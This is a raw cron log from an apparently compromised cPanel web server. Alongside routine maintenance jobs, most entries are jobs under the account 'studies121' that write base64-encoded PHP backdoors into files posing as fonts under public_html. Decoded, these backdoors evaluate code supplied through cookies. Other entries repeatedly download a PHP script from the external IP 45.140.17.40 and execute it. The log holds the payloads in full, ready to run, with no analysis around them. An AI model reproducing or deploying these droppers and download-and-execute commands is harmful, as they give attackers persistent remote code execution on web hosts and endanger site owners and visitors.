Sep  4 15:00:01 ip-184-168-122-23 CROND[10862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:01:01 ip-184-168-122-23 CROND[10968]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 15:01:01 ip-184-168-122-23 CROND[10973]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:01:01 ip-184-168-122-23 CROND[10974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:01:01 ip-184-168-122-23 CROND[10972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10968]: starting 0anacron
Sep  4 15:01:01 ip-184-168-122-23 CROND[10976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:01:01 ip-184-168-122-23 CROND[10971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10989]: finished 0anacron
Sep  4 15:02:01 ip-184-168-122-23 CROND[11168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:02:01 ip-184-168-122-23 CROND[11169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:02:01 ip-184-168-122-23 CROND[11170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:02:01 ip-184-168-122-23 CROND[11172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:02:01 ip-184-168-122-23 CROND[11173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:03:01 ip-184-168-122-23 CROND[11264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:03:01 ip-184-168-122-23 CROND[11265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:03:01 ip-184-168-122-23 CROND[11266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:03:01 ip-184-168-122-23 CROND[11267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:04:01 ip-184-168-122-23 CROND[11357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:04:01 ip-184-168-122-23 CROND[11359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:04:01 ip-184-168-122-23 CROND[11360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:04:01 ip-184-168-122-23 CROND[11361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:04:01 ip-184-168-122-23 CROND[11362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:05:01 ip-184-168-122-23 CROND[11476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:05:01 ip-184-168-122-23 CROND[11481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:05:01 ip-184-168-122-23 CROND[11484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:05:01 ip-184-168-122-23 CROND[11482]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:05:01 ip-184-168-122-23 CROND[11483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:05:01 ip-184-168-122-23 CROND[11485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:05:01 ip-184-168-122-23 CROND[11486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:06:01 ip-184-168-122-23 CROND[11608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:06:01 ip-184-168-122-23 CROND[11610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:06:01 ip-184-168-122-23 CROND[11611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:06:01 ip-184-168-122-23 CROND[11613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:06:01 ip-184-168-122-23 CROND[11612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:07:01 ip-184-168-122-23 CROND[11709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:07:01 ip-184-168-122-23 CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:07:01 ip-184-168-122-23 CROND[11710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:07:01 ip-184-168-122-23 CROND[11712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:08:01 ip-184-168-122-23 CROND[11883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:08:01 ip-184-168-122-23 CROND[11885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:08:01 ip-184-168-122-23 CROND[11887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:08:01 ip-184-168-122-23 CROND[11886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:08:01 ip-184-168-122-23 CROND[11888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:09:01 ip-184-168-122-23 CROND[11983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:09:01 ip-184-168-122-23 CROND[11984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:09:01 ip-184-168-122-23 CROND[11987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:09:01 ip-184-168-122-23 CROND[11985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:09:01 ip-184-168-122-23 CROND[11986]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 15:10:01 ip-184-168-122-23 CROND[12117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:10:01 ip-184-168-122-23 CROND[12124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:10:01 ip-184-168-122-23 CROND[12122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:10:01 ip-184-168-122-23 CROND[12120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:10:01 ip-184-168-122-23 CROND[12121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:10:01 ip-184-168-122-23 CROND[12123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:10:01 ip-184-168-122-23 CROND[12125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:10:01 ip-184-168-122-23 CROND[12129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:11:01 ip-184-168-122-23 CROND[12243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:11:01 ip-184-168-122-23 CROND[12246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:11:01 ip-184-168-122-23 CROND[12245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:11:01 ip-184-168-122-23 CROND[12247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:12:01 ip-184-168-122-23 CROND[12377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 15:12:01 ip-184-168-122-23 CROND[12379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:12:01 ip-184-168-122-23 CROND[12380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 15:12:01 ip-184-168-122-23 CROND[12382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 15:12:01 ip-184-168-122-23 CROND[12381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
